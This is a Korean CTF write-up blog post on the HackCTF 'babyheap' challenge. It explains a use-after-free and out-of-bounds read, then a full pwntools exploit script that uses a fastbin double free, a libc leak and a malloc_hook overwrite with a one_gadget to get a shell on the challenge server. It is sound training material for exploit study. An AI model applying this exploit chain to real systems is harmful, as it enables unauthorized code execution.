Profile

youngsouk

youngsouk

[hackctf] babyheap

전형적인 힙 메뉴이다.

malloc메뉴이다. malloc가능한 갯수가 6개로 한정되어있다.

free를 할때 배열을 초기화시키지 않음으로서 취약점이 발생한다,

show부부인다. 저기 if조건문이 자세히 보면 &&인 것을 볼 수 있다. 즉 oob가 발생하게된다.

 

익스 방법

1. fastbin크기의 청크 2개 할당(내용에 함수의 got주소도 같이 박아둔다.)

2. fastbin을 double free 함

3. 2번 과정에서 알아낼 수 있는 청크의 주소를 알아내서 oob를 통해 1번에서 박아둔 got주소를 출력해줌으로서 libc를 leak한다.

4, 다시 한번 malloc을 통해 fastbin에 들어가있는 청크를 가져온다. 그리고 그 청크의 fd에 malloc_hook 이전의 fastbin에 맞는 chunk의 주소를 저장해둔다.

5. malloc()으로 다시한번 할당하면서 malloc_hook을 one_gadget으로 덮는다.

6. double free를 통해 에러메시지를 출력하게 되면서 쉘을 딴다.

 

6번이 되는 이유는 https://lclang.tistory.com/165 여기서 확인할 수 있다.

 

from pwn import *

#p = process('./babyheap')
p = remote("ctf.j0n9hyun.xyz", 3030)
e = ELF('./babyheap')
l = ELF('./libc.so.6')

context.log_level="debug"

def malloc(size, content):
        p.sendlineafter('> ','1')
        p.sendlineafter('size: ',str(size))
        p.sendlineafter('content: ',str(content))

def free(index):
        p.sendlineafter('> ','2')
        p.sendlineafter('index: ', str(index))

def show(index):
        p.sendlineafter('> ','3')
        p.sendlineafter('index: ', str(index))


size = 0x7f - 24
malloc(size,1)
malloc(size,'a' *8 + p64(e.got['puts']))

free(0)
free(1)
free(0)

show(0)
malloc_2 = u64(p.recv(4).ljust(8,'\x00'))
log.info('malloc_2 : ' + hex(malloc_2))

show(((malloc_2 + 24) - 0x602060)/8)

libc = u64(p.recv(6).ljust(8,'\x00')) - l.sym['puts']
log.info('libc : '+ hex(libc))

victim = libc + l.sym['__realloc_hook'] - 11 - 16

log.info('victim_chunk_ptr : ' + hex(victim))

malloc(size, p64(victim))
malloc(size,1)
malloc(size,1)

malloc(size, 'a' * 0x13 + p64(libc +0xf02a4))
free(1)
free(1)

'CTF write-up > hackctf' 카테고리의 다른 글

[hackctf] - j0n9hyun's secret  (3) 2019.09.13
[hackctf] childfsb  (0) 2019.08.26
[hackctf] babyfsb  (0) 2019.08.25
[hackctf] 풍수지리설  (0) 2019.08.20
[hackctf]World_best_encryption_tool  (0) 2019.07.22